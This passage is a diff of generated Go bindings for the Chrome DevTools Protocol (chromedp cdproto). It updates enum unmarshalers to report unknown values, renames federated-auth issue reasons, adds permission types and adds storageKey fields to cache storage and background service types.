case DeprecationIssueTypePrefixedVideoExitFullscreen:
|
||||
*t = DeprecationIssueTypePrefixedVideoExitFullscreen
|
||||
case DeprecationIssueTypePrefixedVideoExitFullScreen:
|
||||
*t = DeprecationIssueTypePrefixedVideoExitFullScreen
|
||||
case DeprecationIssueTypePrefixedVideoSupportsFullscreen:
|
||||
*t = DeprecationIssueTypePrefixedVideoSupportsFullscreen
|
||||
case DeprecationIssueTypeRangeExpand:
|
||||
*t = DeprecationIssueTypeRangeExpand
|
||||
case DeprecationIssueTypeRequestedSubresourceWithEmbeddedCredentials:
|
||||
*t = DeprecationIssueTypeRequestedSubresourceWithEmbeddedCredentials
|
||||
case DeprecationIssueTypeRTCConstraintEnableDtlsSrtpFalse:
|
||||
*t = DeprecationIssueTypeRTCConstraintEnableDtlsSrtpFalse
|
||||
case DeprecationIssueTypeRTCConstraintEnableDtlsSrtpTrue:
|
||||
*t = DeprecationIssueTypeRTCConstraintEnableDtlsSrtpTrue
|
||||
case DeprecationIssueTypeRTCPeerConnectionComplexPlanBSdpUsingDefaultSdpSemantics:
|
||||
*t = DeprecationIssueTypeRTCPeerConnectionComplexPlanBSdpUsingDefaultSdpSemantics
|
||||
case DeprecationIssueTypeRTCPeerConnectionSdpSemanticsPlanB:
|
||||
*t = DeprecationIssueTypeRTCPeerConnectionSdpSemanticsPlanB
|
||||
case DeprecationIssueTypeRtcpMuxPolicyNegotiate:
|
||||
*t = DeprecationIssueTypeRtcpMuxPolicyNegotiate
|
||||
case DeprecationIssueTypeSharedArrayBufferConstructedWithoutIsolation:
|
||||
*t = DeprecationIssueTypeSharedArrayBufferConstructedWithoutIsolation
|
||||
case DeprecationIssueTypeTextToSpeechDisallowedByAutoplay:
|
||||
*t = DeprecationIssueTypeTextToSpeechDisallowedByAutoplay
|
||||
case DeprecationIssueTypeV8sharedArrayBufferConstructedInExtensionWithoutIsolation:
|
||||
*t = DeprecationIssueTypeV8sharedArrayBufferConstructedInExtensionWithoutIsolation
|
||||
case DeprecationIssueTypeXHRJSONEncodingDetection:
|
||||
*t = DeprecationIssueTypeXHRJSONEncodingDetection
|
||||
case DeprecationIssueTypeXMLHTTPRequestSynchronousInNonWorkerOutsideBeforeUnload:
|
||||
*t = DeprecationIssueTypeXMLHTTPRequestSynchronousInNonWorkerOutsideBeforeUnload
|
||||
case DeprecationIssueTypeXRSupportsSession:
|
||||
*t = DeprecationIssueTypeXRSupportsSession
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown DeprecationIssueType value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *DeprecationIssueType) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
ErrorType GenericIssueErrorType `json:"errorType"` // Issues with the same errorType are aggregated in the frontend.
|
||||
FrameID cdp.FrameID `json:"frameId,omitempty"`
|
||||
ViolatingNodeID cdp.BackendNodeID `json:"violatingNodeId,omitempty"`
|
||||
}
|
||||
|
||||
// DeprecationIssueDetails this issue tracks information needed to print a
|
||||
@@ -1151,9 +992,9 @@ func (t *DeprecationIssueType) UnmarshalJSON(buf []byte) error {
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-DeprecationIssueDetails
|
||||
type DeprecationIssueDetails struct {
|
||||
AffectedFrame *AffectedFrame `json:"affectedFrame,omitempty"`
|
||||
SourceCodeLocation *SourceCodeLocation `json:"sourceCodeLocation"`
|
||||
Type DeprecationIssueType `json:"type"`
|
||||
AffectedFrame *AffectedFrame `json:"affectedFrame,omitempty"`
|
||||
SourceCodeLocation *SourceCodeLocation `json:"sourceCodeLocation"`
|
||||
Type string `json:"type"` // One of the deprecation names from third_party/blink/renderer/core/frame/deprecation/deprecation.json5
|
||||
}
|
||||
|
||||
// ClientHintIssueReason [no description].
|
||||
@@ -1184,14 +1025,15 @@ func (t ClientHintIssueReason) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ClientHintIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch ClientHintIssueReason(in.String()) {
|
||||
v := in.String()
|
||||
switch ClientHintIssueReason(v) {
|
||||
case ClientHintIssueReasonMetaTagAllowListInvalidOrigin:
|
||||
*t = ClientHintIssueReasonMetaTagAllowListInvalidOrigin
|
||||
case ClientHintIssueReasonMetaTagModifiedHTML:
|
||||
*t = ClientHintIssueReasonMetaTagModifiedHTML
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown ClientHintIssueReason value"))
|
||||
in.AddError(fmt.Errorf("unknown ClientHintIssueReason value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1225,14 +1067,15 @@ func (t FederatedAuthRequestIssueReason) String() string {
|
||||
const (
|
||||
FederatedAuthRequestIssueReasonShouldEmbargo FederatedAuthRequestIssueReason = "ShouldEmbargo"
|
||||
FederatedAuthRequestIssueReasonTooManyRequests FederatedAuthRequestIssueReason = "TooManyRequests"
|
||||
FederatedAuthRequestIssueReasonManifestListHTTPNotFound FederatedAuthRequestIssueReason = "ManifestListHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonManifestListNoResponse FederatedAuthRequestIssueReason = "ManifestListNoResponse"
|
||||
FederatedAuthRequestIssueReasonManifestListInvalidResponse FederatedAuthRequestIssueReason = "ManifestListInvalidResponse"
|
||||
FederatedAuthRequestIssueReasonManifestNotInManifestList FederatedAuthRequestIssueReason = "ManifestNotInManifestList"
|
||||
FederatedAuthRequestIssueReasonManifestListTooBig FederatedAuthRequestIssueReason = "ManifestListTooBig"
|
||||
FederatedAuthRequestIssueReasonManifestHTTPNotFound FederatedAuthRequestIssueReason = "ManifestHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonManifestNoResponse FederatedAuthRequestIssueReason = "ManifestNoResponse"
|
||||
FederatedAuthRequestIssueReasonManifestInvalidResponse FederatedAuthRequestIssueReason = "ManifestInvalidResponse"
|
||||
FederatedAuthRequestIssueReasonWellKnownHTTPNotFound FederatedAuthRequestIssueReason = "WellKnownHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonWellKnownNoResponse FederatedAuthRequestIssueReason = "WellKnownNoResponse"
|
||||
FederatedAuthRequestIssueReasonWellKnownInvalidResponse FederatedAuthRequestIssueReason = "WellKnownInvalidResponse"
|
||||
FederatedAuthRequestIssueReasonWellKnownListEmpty FederatedAuthRequestIssueReason = "WellKnownListEmpty"
|
||||
FederatedAuthRequestIssueReasonConfigNotInWellKnown FederatedAuthRequestIssueReason = "ConfigNotInWellKnown"
|
||||
FederatedAuthRequestIssueReasonWellKnownTooBig FederatedAuthRequestIssueReason = "WellKnownTooBig"
|
||||
FederatedAuthRequestIssueReasonConfigHTTPNotFound FederatedAuthRequestIssueReason = "ConfigHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonConfigNoResponse FederatedAuthRequestIssueReason = "ConfigNoResponse"
|
||||
FederatedAuthRequestIssueReasonConfigInvalidResponse FederatedAuthRequestIssueReason = "ConfigInvalidResponse"
|
||||
FederatedAuthRequestIssueReasonClientMetadataHTTPNotFound FederatedAuthRequestIssueReason = "ClientMetadataHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonClientMetadataNoResponse FederatedAuthRequestIssueReason = "ClientMetadataNoResponse"
|
||||
FederatedAuthRequestIssueReasonClientMetadataInvalidResponse FederatedAuthRequestIssueReason = "ClientMetadataInvalidResponse"
|
||||
@@ -1242,6 +1085,7 @@ const (
|
||||
FederatedAuthRequestIssueReasonAccountsHTTPNotFound FederatedAuthRequestIssueReason = "AccountsHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonAccountsNoResponse FederatedAuthRequestIssueReason = "AccountsNoResponse"
|
||||
FederatedAuthRequestIssueReasonAccountsInvalidResponse FederatedAuthRequestIssueReason = "AccountsInvalidResponse"
|
||||
FederatedAuthRequestIssueReasonAccountsListEmpty FederatedAuthRequestIssueReason = "AccountsListEmpty"
|
||||
FederatedAuthRequestIssueReasonIDTokenHTTPNotFound FederatedAuthRequestIssueReason = "IdTokenHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonIDTokenNoResponse FederatedAuthRequestIssueReason = "IdTokenNoResponse"
|
||||
FederatedAuthRequestIssueReasonIDTokenInvalidResponse FederatedAuthRequestIssueReason = "IdTokenInvalidResponse"
|
||||
@@ -1263,27 +1107,30 @@ func (t FederatedAuthRequestIssueReason) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *FederatedAuthRequestIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch FederatedAuthRequestIssueReason(in.String()) {
|
||||
v := in.String()
|
||||
switch FederatedAuthRequestIssueReason(v) {
|
||||
case FederatedAuthRequestIssueReasonShouldEmbargo:
|
||||
*t = FederatedAuthRequestIssueReasonShouldEmbargo
|
||||
case FederatedAuthRequestIssueReasonTooManyRequests:
|
||||
*t = FederatedAuthRequestIssueReasonTooManyRequests
|
||||
case FederatedAuthRequestIssueReasonManifestListHTTPNotFound:
|
||||
*t = FederatedAuthRequestIssueReasonManifestListHTTPNotFound
|
||||
case FederatedAuthRequestIssueReasonManifestListNoResponse:
|
||||
*t = FederatedAuthRequestIssueReasonManifestListNoResponse
|
||||
case FederatedAuthRequestIssueReasonManifestListInvalidResponse:
|
||||
*t = FederatedAuthRequestIssueReasonManifestListInvalidResponse
|
||||
case FederatedAuthRequestIssueReasonManifestNotInManifestList:
|
||||
*t = FederatedAuthRequestIssueReasonManifestNotInManifestList
|
||||
case FederatedAuthRequestIssueReasonManifestListTooBig:
|
||||
*t = FederatedAuthRequestIssueReasonManifestListTooBig
|
||||
case FederatedAuthRequestIssueReasonManifestHTTPNotFound:
|
||||
*t = FederatedAuthRequestIssueReasonManifestHTTPNotFound
|
||||
case FederatedAuthRequestIssueReasonManifestNoResponse:
|
||||
*t = FederatedAuthRequestIssueReasonManifestNoResponse
|
||||
case FederatedAuthRequestIssueReasonManifestInvalidResponse:
|
||||
*t = FederatedAuthRequestIssueReasonManifestInvalidResponse
|
||||
case FederatedAuthRequestIssueReasonWellKnownHTTPNotFound:
|
||||
*t = FederatedAuthRequestIssueReasonWellKnownHTTPNotFound
|
||||
case FederatedAuthRequestIssueReasonWellKnownNoResponse:
|
||||
*t = FederatedAuthRequestIssueReasonWellKnownNoResponse
|
||||
case FederatedAuthRequestIssueReasonWellKnownInvalidResponse:
|
||||
*t = FederatedAuthRequestIssueReasonWellKnownInvalidResponse
|
||||
case FederatedAuthRequestIssueReasonWellKnownListEmpty:
|
||||
*t = FederatedAuthRequestIssueReasonWellKnownListEmpty
|
||||
case FederatedAuthRequestIssueReasonConfigNotInWellKnown:
|
||||
*t = FederatedAuthRequestIssueReasonConfigNotInWellKnown
|
||||
case FederatedAuthRequestIssueReasonWellKnownTooBig:
|
||||
*t = FederatedAuthRequestIssueReasonWellKnownTooBig
|
||||
case FederatedAuthRequestIssueReasonConfigHTTPNotFound:
|
||||
*t = FederatedAuthRequestIssueReasonConfigHTTPNotFound
|
||||
case FederatedAuthRequestIssueReasonConfigNoResponse:
|
||||
*t = FederatedAuthRequestIssueReasonConfigNoResponse
|
||||
case FederatedAuthRequestIssueReasonConfigInvalidResponse:
|
||||
*t = FederatedAuthRequestIssueReasonConfigInvalidResponse
|
||||
case FederatedAuthRequestIssueReasonClientMetadataHTTPNotFound:
|
||||
*t = FederatedAuthRequestIssueReasonClientMetadataHTTPNotFound
|
||||
case FederatedAuthRequestIssueReasonClientMetadataNoResponse:
|
||||
@@ -1302,6 +1149,8 @@ func (t *FederatedAuthRequestIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = FederatedAuthRequestIssueReasonAccountsNoResponse
|
||||
case FederatedAuthRequestIssueReasonAccountsInvalidResponse:
|
||||
*t = FederatedAuthRequestIssueReasonAccountsInvalidResponse
|
||||
case FederatedAuthRequestIssueReasonAccountsListEmpty:
|
||||
*t = FederatedAuthRequestIssueReasonAccountsListEmpty
|
||||
case FederatedAuthRequestIssueReasonIDTokenHTTPNotFound:
|
||||
*t = FederatedAuthRequestIssueReasonIDTokenHTTPNotFound
|
||||
case FederatedAuthRequestIssueReasonIDTokenNoResponse:
|
||||
@@ -1318,7 +1167,7 @@ func (t *FederatedAuthRequestIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = FederatedAuthRequestIssueReasonRpPageNotVisible
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown FederatedAuthRequestIssueReason value"))
|
||||
in.AddError(fmt.Errorf("unknown FederatedAuthRequestIssueReason value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1381,7 +1230,8 @@ func (t InspectorIssueCode) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *InspectorIssueCode) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch InspectorIssueCode(in.String()) {
|
||||
v := in.String()
|
||||
switch InspectorIssueCode(v) {
|
||||
case InspectorIssueCodeCookieIssue:
|
||||
*t = InspectorIssueCodeCookieIssue
|
||||
case InspectorIssueCodeMixedContentIssue:
|
||||
@@ -1416,7 +1266,7 @@ func (t *InspectorIssueCode) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = InspectorIssueCodeFederatedAuthRequestIssue
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown InspectorIssueCode value"))
|
||||
in.AddError(fmt.Errorf("unknown InspectorIssueCode value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1498,7 +1348,8 @@ func (t GetEncodedResponseEncoding) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *GetEncodedResponseEncoding) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch GetEncodedResponseEncoding(in.String()) {
|
||||
v := in.String()
|
||||
switch GetEncodedResponseEncoding(v) {
|
||||
case GetEncodedResponseEncodingWebp:
|
||||
*t = GetEncodedResponseEncodingWebp
|
||||
case GetEncodedResponseEncodingJpeg:
|
||||
@@ -1507,7 +1358,7 @@ func (t *GetEncodedResponseEncoding) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = GetEncodedResponseEncodingPng
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown GetEncodedResponseEncoding value"))
|
||||
in.AddError(fmt.Errorf("unknown GetEncodedResponseEncoding value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+7
@@ -518,6 +518,8 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice6(in *jlexer
|
||||
}
|
||||
in.Delim(']')
|
||||
}
|
||||
case "storageKey":
|
||||
out.StorageKey = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
@@ -586,6 +588,11 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice6(out *jwrit
|
||||
out.RawByte(']')
|
||||
}
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"storageKey\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.StorageKey))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
|
||||
+5
-3
@@ -3,7 +3,7 @@ package backgroundservice
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/cdproto/serviceworker"
|
||||
@@ -46,7 +46,8 @@ func (t ServiceName) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ServiceName) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch ServiceName(in.String()) {
|
||||
v := in.String()
|
||||
switch ServiceName(v) {
|
||||
case ServiceNameBackgroundFetch:
|
||||
*t = ServiceNameBackgroundFetch
|
||||
case ServiceNameBackgroundSync:
|
||||
@@ -61,7 +62,7 @@ func (t *ServiceName) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = ServiceNamePeriodicBackgroundSync
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown ServiceName value"))
|
||||
in.AddError(fmt.Errorf("unknown ServiceName value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -90,4 +91,5 @@ type Event struct {
|
||||
EventName string `json:"eventName"` // A description of the event.
|
||||
InstanceID string `json:"instanceId"` // An identifier that groups related events together.
|
||||
EventMetadata []*EventMetadata `json:"eventMetadata"` // A list of event-specific information.
|
||||
StorageKey string `json:"storageKey"` // Storage key this event belongs to.
|
||||
}
|
||||
+4
-4
@@ -319,7 +319,7 @@ func (p *GetBrowserCommandLineParams) Do(ctx context.Context) (arguments []strin
|
||||
// GetHistogramsParams get Chrome histograms.
|
||||
type GetHistogramsParams struct {
|
||||
Query string `json:"query,omitempty"` // Requested substring in name. Only histograms which have query as a substring in their name are extracted. An empty or absent query returns all histograms.
|
||||
Delta bool `json:"delta,omitempty"` // If true, retrieve delta since last call.
|
||||
Delta bool `json:"delta,omitempty"` // If true, retrieve delta since last delta call.
|
||||
}
|
||||
|
||||
// GetHistograms get Chrome histograms.
|
||||
@@ -339,7 +339,7 @@ func (p GetHistogramsParams) WithQuery(query string) *GetHistogramsParams {
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithDelta if true, retrieve delta since last call.
|
||||
// WithDelta if true, retrieve delta since last delta call.
|
||||
func (p GetHistogramsParams) WithDelta(delta bool) *GetHistogramsParams {
|
||||
p.Delta = delta
|
||||
return &p
|
||||
@@ -369,7 +369,7 @@ func (p *GetHistogramsParams) Do(ctx context.Context) (histograms []*Histogram,
|
||||
// GetHistogramParams get a Chrome histogram by name.
|
||||
type GetHistogramParams struct {
|
||||
Name string `json:"name"` // Requested histogram name.
|
||||
Delta bool `json:"delta,omitempty"` // If true, retrieve delta since last call.
|
||||
Delta bool `json:"delta,omitempty"` // If true, retrieve delta since last delta call.
|
||||
}
|
||||
|
||||
// GetHistogram get a Chrome histogram by name.
|
||||
@@ -385,7 +385,7 @@ func GetHistogram(name string) *GetHistogramParams {
|
||||
}
|
||||
}
|
||||
|
||||
// WithDelta if true, retrieve delta since last call.
|
||||
// WithDelta if true, retrieve delta since last delta call.
|
||||
func (p GetHistogramParams) WithDelta(delta bool) *GetHistogramParams {
|
||||
p.Delta = delta
|
||||
return &p
|
||||
|
||||
+34
-16
@@ -3,7 +3,7 @@ package browser
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"github.com/mailru/easyjson"
|
||||
"github.com/mailru/easyjson/jlexer"
|
||||
@@ -50,7 +50,8 @@ func (t WindowState) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *WindowState) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch WindowState(in.String()) {
|
||||
v := in.String()
|
||||
switch WindowState(v) {
|
||||
case WindowStateNormal:
|
||||
*t = WindowStateNormal
|
||||
case WindowStateMinimized:
|
||||
@@ -61,7 +62,7 @@ func (t *WindowState) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = WindowStateFullscreen
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown WindowState value"))
|
||||
in.AddError(fmt.Errorf("unknown WindowState value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -103,6 +104,8 @@ const (
|
||||
PermissionTypeDurableStorage PermissionType = "durableStorage"
|
||||
PermissionTypeFlash PermissionType = "flash"
|
||||
PermissionTypeGeolocation PermissionType = "geolocation"
|
||||
PermissionTypeIdleDetection PermissionType = "idleDetection"
|
||||
PermissionTypeLocalFonts PermissionType = "localFonts"
|
||||
PermissionTypeMidi PermissionType = "midi"
|
||||
PermissionTypeMidiSysex PermissionType = "midiSysex"
|
||||
PermissionTypeNfc PermissionType = "nfc"
|
||||
@@ -111,11 +114,13 @@ const (
|
||||
PermissionTypePeriodicBackgroundSync PermissionType = "periodicBackgroundSync"
|
||||
PermissionTypeProtectedMediaIdentifier PermissionType = "protectedMediaIdentifier"
|
||||
PermissionTypeSensors PermissionType = "sensors"
|
||||
PermissionTypeStorageAccess PermissionType = "storageAccess"
|
||||
PermissionTypeTopLevelStorageAccess PermissionType = "topLevelStorageAccess"
|
||||
PermissionTypeVideoCapture PermissionType = "videoCapture"
|
||||
PermissionTypeVideoCapturePanTiltZoom PermissionType = "videoCapturePanTiltZoom"
|
||||
PermissionTypeIdleDetection PermissionType = "idleDetection"
|
||||
PermissionTypeWakeLockScreen PermissionType = "wakeLockScreen"
|
||||
PermissionTypeWakeLockSystem PermissionType = "wakeLockSystem"
|
||||
PermissionTypeWindowManagement PermissionType = "windowManagement"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -130,7 +135,8 @@ func (t PermissionType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *PermissionType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch PermissionType(in.String()) {
|
||||
v := in.String()
|
||||
switch PermissionType(v) {
|
||||
case PermissionTypeAccessibilityEvents:
|
||||
*t = PermissionTypeAccessibilityEvents
|
||||
case PermissionTypeAudioCapture:
|
||||
@@ -151,6 +157,10 @@ func (t *PermissionType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = PermissionTypeFlash
|
||||
case PermissionTypeGeolocation:
|
||||
*t = PermissionTypeGeolocation
|
||||
case PermissionTypeIdleDetection:
|
||||
*t = PermissionTypeIdleDetection
|
||||
case PermissionTypeLocalFonts:
|
||||
*t = PermissionTypeLocalFonts
|
||||
case PermissionTypeMidi:
|
||||
*t = PermissionTypeMidi
|
||||
case PermissionTypeMidiSysex:
|
||||
@@ -167,19 +177,23 @@ func (t *PermissionType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = PermissionTypeProtectedMediaIdentifier
|
||||
case PermissionTypeSensors:
|
||||
*t = PermissionTypeSensors
|
||||
case PermissionTypeStorageAccess:
|
||||
*t = PermissionTypeStorageAccess
|
||||
case PermissionTypeTopLevelStorageAccess:
|
||||
*t = PermissionTypeTopLevelStorageAccess
|
||||
case PermissionTypeVideoCapture:
|
||||
*t = PermissionTypeVideoCapture
|
||||
case PermissionTypeVideoCapturePanTiltZoom:
|
||||
*t = PermissionTypeVideoCapturePanTiltZoom
|
||||
case PermissionTypeIdleDetection:
|
||||
*t = PermissionTypeIdleDetection
|
||||
case PermissionTypeWakeLockScreen:
|
||||
*t = PermissionTypeWakeLockScreen
|
||||
case PermissionTypeWakeLockSystem:
|
||||
*t = PermissionTypeWakeLockSystem
|
||||
case PermissionTypeWindowManagement:
|
||||
*t = PermissionTypeWindowManagement
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown PermissionType value"))
|
||||
in.AddError(fmt.Errorf("unknown PermissionType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -217,7 +231,8 @@ func (t PermissionSetting) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *PermissionSetting) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch PermissionSetting(in.String()) {
|
||||
v := in.String()
|
||||
switch PermissionSetting(v) {
|
||||
case PermissionSettingGranted:
|
||||
*t = PermissionSettingGranted
|
||||
case PermissionSettingDenied:
|
||||
@@ -226,7 +241,7 @@ func (t *PermissionSetting) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = PermissionSettingPrompt
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown PermissionSetting value"))
|
||||
in.AddError(fmt.Errorf("unknown PermissionSetting value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -276,14 +291,15 @@ func (t CommandID) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *CommandID) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch CommandID(in.String()) {
|
||||
v := in.String()
|
||||
switch CommandID(v) {
|
||||
case CommandIDOpenTabSearch:
|
||||
*t = CommandIDOpenTabSearch
|
||||
case CommandIDCloseTabSearch:
|
||||
*t = CommandIDCloseTabSearch
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown CommandID value"))
|
||||
in.AddError(fmt.Errorf("unknown CommandID value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -340,7 +356,8 @@ func (t DownloadProgressState) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *DownloadProgressState) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch DownloadProgressState(in.String()) {
|
||||
v := in.String()
|
||||
switch DownloadProgressState(v) {
|
||||
case DownloadProgressStateInProgress:
|
||||
*t = DownloadProgressStateInProgress
|
||||
case DownloadProgressStateCompleted:
|
||||
@@ -349,7 +366,7 @@ func (t *DownloadProgressState) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = DownloadProgressStateCanceled
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown DownloadProgressState value"))
|
||||
in.AddError(fmt.Errorf("unknown DownloadProgressState value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -391,7 +408,8 @@ func (t SetDownloadBehaviorBehavior) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *SetDownloadBehaviorBehavior) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch SetDownloadBehaviorBehavior(in.String()) {
|
||||
v := in.String()
|
||||
switch SetDownloadBehaviorBehavior(v) {
|
||||
case SetDownloadBehaviorBehaviorDeny:
|
||||
*t = SetDownloadBehaviorBehaviorDeny
|
||||
case SetDownloadBehaviorBehaviorAllow:
|
||||
@@ -402,7 +420,7 @@ func (t *SetDownloadBehaviorBehavior) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = SetDownloadBehaviorBehaviorDefault
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown SetDownloadBehaviorBehavior value"))
|
||||
in.AddError(fmt.Errorf("unknown SetDownloadBehaviorBehavior value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+17
-7
@@ -63,7 +63,8 @@ func (p *DeleteEntryParams) Do(ctx context.Context) (err error) {
|
||||
|
||||
// RequestCacheNamesParams requests cache names.
|
||||
type RequestCacheNamesParams struct {
|
||||
SecurityOrigin string `json:"securityOrigin"` // Security origin.
|
||||
SecurityOrigin string `json:"securityOrigin,omitempty"` // At least and at most one of securityOrigin, storageKey must be specified. Security origin.
|
||||
StorageKey string `json:"storageKey,omitempty"` // Storage key.
|
||||
}
|
||||
|
||||
// RequestCacheNames requests cache names.
|
||||
@@ -71,12 +72,21 @@ type RequestCacheNamesParams struct {
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#method-requestCacheNames
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// securityOrigin - Security origin.
|
||||
func RequestCacheNames(securityOrigin string) *RequestCacheNamesParams {
|
||||
return &RequestCacheNamesParams{
|
||||
SecurityOrigin: securityOrigin,
|
||||
}
|
||||
func RequestCacheNames() *RequestCacheNamesParams {
|
||||
return &RequestCacheNamesParams{}
|
||||
}
|
||||
|
||||
// WithSecurityOrigin at least and at most one of securityOrigin, storageKey
|
||||
// must be specified. Security origin.
|
||||
func (p RequestCacheNamesParams) WithSecurityOrigin(securityOrigin string) *RequestCacheNamesParams {
|
||||
p.SecurityOrigin = securityOrigin
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithStorageKey storage key.
|
||||
func (p RequestCacheNamesParams) WithStorageKey(storageKey string) *RequestCacheNamesParams {
|
||||
p.StorageKey = storageKey
|
||||
return &p
|
||||
}
|
||||
|
||||
// RequestCacheNamesReturns return values.
|
||||
|
||||
+21
-1
@@ -554,6 +554,8 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCachestorage5(in *jlexer.Lexe
|
||||
switch key {
|
||||
case "securityOrigin":
|
||||
out.SecurityOrigin = string(in.String())
|
||||
case "storageKey":
|
||||
out.StorageKey = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
@@ -568,11 +570,22 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCachestorage5(out *jwriter.Wr
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
if in.SecurityOrigin != "" {
|
||||
const prefix string = ",\"securityOrigin\":"
|
||||
first = false
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.SecurityOrigin))
|
||||
}
|
||||
if in.StorageKey != "" {
|
||||
const prefix string = ",\"storageKey\":"
|
||||
if first {
|
||||
first = false
|
||||
out.RawString(prefix[1:])
|
||||
} else {
|
||||
out.RawString(prefix)
|
||||
}
|
||||
out.String(string(in.StorageKey))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
